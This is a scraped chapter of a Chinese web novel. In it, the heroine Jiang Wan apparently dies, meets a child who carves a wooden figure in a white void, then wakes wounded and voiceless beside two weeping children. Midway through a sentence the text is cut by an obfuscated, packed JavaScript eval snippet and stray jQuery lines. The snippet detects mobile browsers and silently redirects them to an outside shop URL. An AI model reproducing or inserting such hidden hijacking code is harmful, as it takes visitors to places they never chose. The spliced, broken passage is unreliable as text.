文趣网 > 其他小说 > 炮灰女配手拿救世剧本 > 27. 楼主的,心事(十六)
    姜绾想她大约是死了。

    不然怎么脚下软绵绵的踩不到实处,四周也宛若坠入纯白空间,没有边际,也没有声音。

    她抬起手翻来覆去地看,手指光洁,练体磨出来的茧没了,衣裳也是干干净净。

    这般体面,倒是有点像戏文里演的,人死总要收拾干净才上路。

    姜绾在原地站了会儿,预想中接引的仙人并未现身,只有漫无边际的白雾在脚边缠卷沉浮。

    难不成想岔了,此地是地府?

    在胡思乱想时,远处有什么东西影影绰绰地露出来,眯着眼看了好一阵,才辨认出是一棵树。

    是棵很大很大的树,树冠遮天蔽日,枝干虬结盘错,在巨树之下坐着个小孩儿。

    姜绾站在原地,盯着那道身影看很久,终是赤足奔过去。

    打了几次招呼,她恍然大悟,这孩子看不见她。

    四周除了他并没其他景物,姜绾弯下腰,细细打量眼前小娃娃。

    他生得极秀气,认真辨过,姜绾确定这的确是个少年郎。

    约莫也就七八岁年纪,穿着不合适的旧道袍,留着头利落的中短发,发尾微碎,碎发垂落在额前,正用刻刀聚精会神削着小木块。

    姜绾静静望着,见丑乎乎的小东西渐渐成型,忽然福至心灵,绕到他身侧,果真在耳垂旁,瞧见颗小痣。

    脑子遽然一疼,闪过许多画面。

    她从阵盘上坠下去,风灌进喉咙,眼前天旋地转,本以为要摔成烂泥了。

    但醒来时,却趴在碎石堆里,浑身如同被人拆了一遍又给重新拼上了,仔仔细细检查后,她惊喜察觉除去疼痛,暂无性命之忧。

    还没来得及为自己解锁不死金手指而欣喜,便瞥见胸口藏着的木雕小人,已断成两截。

    它替她挡了。

    欣喜后又陷入沉默,她很知道张逢生如何了,但唐筱仙那边也是刻不容缓。

    天知道她是怎么跑的。

    黑蛟潭到揽月楼,这条路坐阵盘时没觉得有多远,但凭肉身纵跃,踏空奔袭,路途远的好比唐僧取经。

    翻过一座山,后面还有一座,淌过一条河,前面还有一条。

    路上流窜的小妖多到数不胜数,沿途草木间尽是鬼鬼祟祟的身影,稍稍停歇便像苍蝇般拥过来。

    也不知那些东西哪儿冒出来的,个个饿得眼睛发绿,见了她就扑。

    有一回实在太累,被人面蜘围在岔路口,它们商量怎么分,一个说清炖,一个说红烧,一个说太瘦了没什么肉,不如剁碎煲汤。

    遥想她昔日也是食物链顶端的存在,如今竟要沦为小动物的盘中餐。

    万般悲凉下,就趁着它们商量菜谱的间隙,从山崖边滚下去了。

    摔得浑身是伤,骨头疼得如散架般,但还得爬起来跑。

    她就这么一路逃,一路跌硬生生靠意志力把自己拖回揽月楼。

    原以为迟了归期,楼月白定会取他们性命,但在最后印象里,是两个孩子哭红的眼睛。

    如此也可以放心去死了。

    只是不明白,为什么在这里能看见张逢生,是不是暗示着什么。

    一个念头慢慢浮上来。

    看来他俩都死了,能与相识之人结伴去投胎,也还算不错。

    她轻轻呼出一口气,在张逢生旁边躺下来。

    躺了一会儿,觉得这地儿躺着还挺舒服,姜绾又翻了个身,侧躺着看旁边的张逢生雕木头。

    小娃娃雕得极其认真,小刀推一下,吹口气,再推一下,再吹口气。

    木块在他手里慢慢变方,变圆,变得不规则,而后渐渐开始眼熟。

    一张不规则的菱形脸上长了小小的五官。

    其实也不算丑,看久也能瞧出两分熟悉来,姜昧着良心想着。

    躺了没多久,她又坐起来了。

    天界没有接引仙人也就算了,地府没有牛头马面也凑合了,但死后的世界就一个小孩儿坐那儿雕木头,这排场是不是寒酸了点?

    她前世好歹也是社会主义接班人,横跨两个世界的穿越者,死得轰轰烈烈,被男主一剑封喉从天上扔下来,这死法搁小说里怎么也得算个重要配角了吧。

    姜绾站起来,叉着腰环顾四周,白茫茫一片真干净。

    试着喊了几嗓子无人回应。

    她泄了气,又躺回去,双手枕在脑后,盯着白茫茫的头顶发呆。

    “张逢生。”她自言自语说,“你说你是不是傻,都死了还雕什么木头,咱俩得想想怎么投胎啊。你是想投人道还是畜生道,我跟你说我可不想当家禽,被人红烧了端上桌那种死法我已经体验过了,不怎么样。”

    小孩儿当然没理她,继续埋头苦干。

    “不过话说回来,你要是投了猪胎,我投了人胎,以后过年的时候你家杀猪,咱俩见面了多尴尬。”她越想越离谱,“哎不对,我要是也投了畜生道,咱俩还能凑一对儿,你当驴我当马,一起拉磨,也挺好。”

    她说到这里,自己先笑了,笑着笑着又觉得心酸。

    “也不知道那两个小的怎么样了。”她喃喃道,“楼月白那个神经病,应该不会为难他们吧,兰草我都送回去了,他要是不放人,我做鬼也不放过他。”

    她越说越困,头顶白茫茫也渐渐模糊不清,张逢生终于停下了刀。他把木雕小人举起来,对着光看了看,似乎不太满意,皱着眉,用小刀在底部又修两下。

    木屑簌簌坠下,姜绾伸出手,木屑穿过掌心落在道袍的褶皱里。

    意识越来越模糊了呢,余光瞥见张逢生还在埋头苦雕,连姿势都没变过。

    刻刀推过木头的沙沙声,如同有什么人替她数着还剩几口气。

    “行了。”姜绾有气无力说,将手收回来,重新躺好,“你慢慢雕吧,我睡会儿。投胎的事儿不急,反正都死了,急也急不来。”

    *

    姜绾再次恢复意识,是有人断断续续在耳边哭,很伤心,像是哭丧。

    躺在听了会儿,心想谁家办白事这么不讲究,哭得毫无章法,连个调子都没有。

    小时候老家办丧事,请来的哭丧婆能从门口哭到灵堂,词儿都不带重样的,押韵押得比她写作文还顺溜,这倒好,翻来覆去就那几句,跟复读机似的。

    本想翻个身继续睡,但哭声越来越近,有什么湿漉漉的东西落在脸上。

    姜绾浑浑噩噩吐槽,这位哭丧的朋友业务能力着实不行,哭就哭吧,别往脸上喷口水啊。

    她试着睁开眼,眼皮沉得如同压着巨石,费了好大劲儿勉强撑开条缝。

    入目的不是白茫茫的天界,也不是黑漆漆的地府,而是一方素色帐顶,边缘绣着闪亮的银线纹路,在昏暗的光线里若隐若现。

    上辈子风餐露宿,何曾睡过这样的好床,一时之间,她竟然激动得落泪了。

    看来,这一回,像是投成了个富贵人家的小娘子。

    正要欢喜地打量四周,侧头过去,却瞥见一个熟悉的人影。

    竟是个红衣女鬼,正笑吟吟倚在软榻上盯着自己。

    “……”姜绾脑子嗡了声。

    再偏头,床尾跪着两个小的,吴浔眼睛肿得像核桃,鼻涕眼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561335|203029||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    泪糊了满脸,顺着下巴滴干净被褥上。唐筱仙好点,但也时不时抽噎一下。

    姜绾闭上眼,一定是在做梦。

    足足等了三息,睁开眼仍是熟悉的床幔,缓了缓,总算接受没死的事实。

    她张了张嘴,想劝两人别哭了,喉咙里却只滚出几声破碎的气音。

    两个孩子被她嘶哑的嗓音吓了一跳,齐齐抬头。

    姜绾一怔,摸了摸脖颈,厚厚的布带缠绕在颈间,微微的刺痛随之传来。

    吴浔愣了一瞬,哭得更大声了,扑过来就要往她身上爬。唐筱仙眼疾手快拽住他后领,把他拖回去,低声呵斥:“别撞着阿绾姐姐的伤。”

    吴浔被拽得踉跄,吸着鼻子站在原地,眼泪还挂在腮帮子上,但到底没敢再扑。

    姜绾又动了动唇,依旧发不出声音,只得抬眼看向唐筱仙,目光轻轻扫过吴浔,再落回自己身上,示意他们不必哭。

    吴浔抽噎着,用袖子胡乱抹了把脸,袖子湿了一大片。

    她下意识想张口安慰,话未出口,喉间便传来刺痛。

    唐筱仙上前半步,“阿绾姐姐,你别费力说话,楼主说你伤了声络,愈合得慢,暂时还说不了话。”

    姜绾愣了会,偏过看过去想道谢,红衣冷哼两声,抢白道,“行了,别说话了,省省吧。”

    话落又厌恶瞟了眼她,甩甩衣袖头也不回出去了。

    屋里暂时陷入安静。

    姜绾撑着身子坐起来,发现身上密密麻麻的伤口,短短几日内已差不多消痊愈,想来楼月白花了好些心思。

    整个人除有点疲乏外,并无其他疼痛之处,就连喉咙处的伤,只要不开口说话,也丝毫没有感觉。

    她思绪沉了沉,指尖触到硬邦邦的东西。

    张逢生给的木雕小人搁在枕边,歪歪斜斜地靠着,那张丑乎乎的脸正好对着她。

    姜绾轻轻一碰,头身就分离了。

    她记得莫玄瑾说过,张逢生没死,但没死和活着之间,隔着不知道多少里路。

    她张了张嘴,指了指手里的丑娃娃。

    唐筱仙摇了摇头。

    木雕小人安静地枕在掌心,脑袋歪在一边,断面整齐,姜绾用指腹轻轻抚过那道裂口,粗糙的木茬刺得指尖微微疼。

    她向来是信张逢生的。

    这人懒是懒了点,说话做事总慢半拍,但从不无的放矢。

    “阿绾姐姐……”唐筱仙担忧开口。

    姜绾抬眼,对着唐筱仙比了个黏合的手势,示意她拿胶来。

    “阿绾姐姐。”她太过正常,吴浔撇撇嘴,好像又要哭,“你,你别太难过,张道长他……”

    她朝着两小只摆了摆手,示意自己不难过。

    她是真的没难过,到底是哪里看出很难过。

    只是暂时没力气笑而已。

    唐筱仙虽担心,但还是乖乖从柜子里翻出皮胶。

    木雕小人重新黏合,歪歪扭扭地立在枕边

    这是张逢生在树下一点一点给她凿回来生路。

    姜绾轻轻吐出口气,气音细若游丝。

    事已至此只有往好处想,但他要是真变成鸡或者鸭,混在家禽里头,她肉眼凡胎可没本事认出来。

    沉默良久,将黏好的木雕小人举到眼前端详了一阵,张了张嘴,终究没能发出任何声音,无奈叹息,点了点娃娃的额头。

    「你要是真投畜牲道,记得托梦告诉我你在哪个屠宰场,我好绕道走。」

    姜绾笑了笑,在心里默默道。

    木雕小人没理,歪着脑袋,丑得理直气壮。